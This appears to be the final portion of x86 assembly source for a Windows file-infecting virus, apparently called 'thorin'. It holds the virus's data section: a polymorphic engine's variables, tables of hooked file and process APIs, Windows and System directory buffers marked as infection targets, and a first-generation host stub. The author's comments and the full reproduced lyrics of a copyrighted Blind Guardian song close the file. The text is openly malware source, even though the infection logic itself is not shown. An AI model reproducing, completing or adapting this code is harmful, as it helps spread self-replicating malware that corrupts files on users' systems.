@@USER32_APIs label byte @SwapMouseButton db "SwapMouseButton",0 @MessageBoxA db "MessageBoxA",0 @FindWindowA db "FindWindowA",0 @PostMessageA db "PostMessageA",0 db " " ; I like girls... @@ADVAPI32_APIs label byte @RegCreateKeyExA db "RegCreateKeyExA",0 @RegOpenKeyExA db "RegOpenKeyExA",0 @RegDeleteKeyA db "RegDeleteKeyA",0 db "" ; And music tho :) @@SHELL32_APIs label byte @ShellExecuteA db "ShellExecuteA",0 random_seed label byte rnd_seed1 dd 00000000h rnd_seed2 dd 00000000h rnd_seed3 dd 00000000h dd 00000000h ; THME Poly Engine data THME_CounterReg db 00h THME_PointerReg db 00h THME_DeltaReg db 00h THME_CoproInit db 00h THME_CryptOp db 00h THME_Recursion db 00h THME_LoopAddress db 00000000h THME_CryptKey dd 00000000h THME_Pointer dd 00000000h THME_Data2crypt dd 00000000h THME_Size2crypt dd 00000000h THME_S2C_div4 dd 00000000h THME_GDO_TmpCll dd 00000000h THME_Fix1 dd 00000000h THME_Key1 dd 00000000h ; ADD/SUB/XOR key ; Virus data NewSize dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h TempGA_IT1 dd 00000000h TempGA_IT2 dd 00000000h TempHandle dd 00000000h iobytes dd 00000000h,00000000h,00000000h,00000000h,00000000h GlobalAllocHnd dd 00000000h GlobalAllocHnd_ dd 00000000h TSHandle dd 00000000h RegHandle dd 00000000h Disposition dd 00000000h lpFilePart dd 00000000h WFD_HndInMem dd 00000000h WFD_Handles_Count db 00h CoolFlag db 00h inNT db 00h CurrentExt db 00h tempcurdir db 7Fh dup (00h) @@Offsetz label byte _GetModuleHandleA dd 00000000h _LoadLibraryA dd 00000000h _FindClose dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h _WriteFile dd 00000000h _GetTickCount dd 00000000h _GetVersion dd 00000000h _GlobalAlloc dd 00000000h _GlobalFree dd 00000000h _GetFileSize dd 00000000h _SetVolumeLabelA dd 00000000h _GetSystemTime dd 00000000h @@HookedOffsetz label byte _MoveFileA dd 00000000h _CopyFileA dd 00000000h _GetFullPathNameA dd 00000000h _DeleteFileA dd 00000000h _WinExec dd 00000000h _CreateProcessA dd 00000000h _CreateFileA dd 00000000h _GetFileAttributesA dd 00000000h _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _GetProcAddress dd 00000000h n_HookedAPIs equ (($-@@HookedOffsetz)/4) @@USER32_Addresses label byte _SwapMouseButton dd 00000000h _MessageBoxA dd 00000000h _FindWindowA dd 00000000h _PostMessageA dd 00000000h @@ADVAPI32_Addresses label byte _RegCreateKeyExA dd 00000000h _RegOpenKeyExA dd 00000000h _RegDeleteKeyA dd 00000000h MAX_PATH equ 260 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) _WIN32_FIND_DATA label byte _WFD_dwFileAttributes dd ? _WFD_ftCreationTime FILETIME ? _WFD_ftLastAccessTime FILETIME ? _WFD_ftLastWriteTime FILETIME ? _WFD_nFileSizeHigh dd ? _WFD_nFileSizeLow dd ? _WFD_dwReserved0 dd ? _WFD_dwReserved1 dd ? _WFD_szFileName db MAX_PATH dup (?) _WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) SYSTEMTIME label byte ST_wYear dw ? ST_wMonth dw ? ST_wDayOfWeek dw ? ST_wDay dw ? ST_wHour dw ? ST_wMinute dw ? ST_wSecond dw ? ST_wMilliseconds dw ? directories label byte WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf align dword crypt_end label byte virus_end label byte ; =========================================================================== ; First generation host ; =========================================================================== ; I'm alone. I'm with me. I'm thinking. I'm dangerous. fakehost: pop dword ptr fs:[0] pop eax popad popfd xor eax,eax push eax push offset szTitle push offset szMessage push eax call MessageBoxA push 00000000h call ExitProcess end thorin ; =========================================================================== ; Bonus Track ; =========================================================================== ; ; As this virus is related with Tolkien, there is also a relation with some ; songs of my favourite band: Blind Guardian. And as most of you don't know ; a shit about them, here i will put one song: The Bard's Song [in the fo- ; rest], that is the hymn of all Blind Guardian's fans. By the way, i have to ; wish them good luck, because i've heard that their vocalist had recently an ; operation in his ear. Good luck, Hansi!!! We will always love you! ; ; Bard's Song [in the forest] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Now you all know ; The bards and their songs ; When hours have gone by ; I'll close my eyes ; In a world far away ; We may meet again ; But now hear my song ; About the dawn of the night ; Let's sing the bards' song ; ; Tomorrow will take us away ; Far from home ; Noone will ever know our names ; But the bards' song will remain ; Tomorrow will take it away ; The fear of today ; It will be gone ; Due to our magic songs ; ; There's only one song ; Left in my mind ; Tales of a brave man ; Who lived far from here ; ; Now the bard songs are over ; And it's time to leave ; Noone should ask you for the name ; Of the one ; Who tells the story ; ; Tomorrow will take us away ; Far from home ; Noone will ever know our names ; But the bards' song will remain ; Tomorrow all will be known ; And you are not alone ; So don't be afraid ; In the dark and cold ; 'Cause the bards' song will remain ; They all will remain ; ; In my thoughts and dreams ; They're always in my mind ; These songs from hobbits, dwarves and men ; And elves ; Come close your eyes ; You can see them, too ; ; --- ; Copyright (c) 1992 by Blind Guardian; "Somewhere far beyond" album.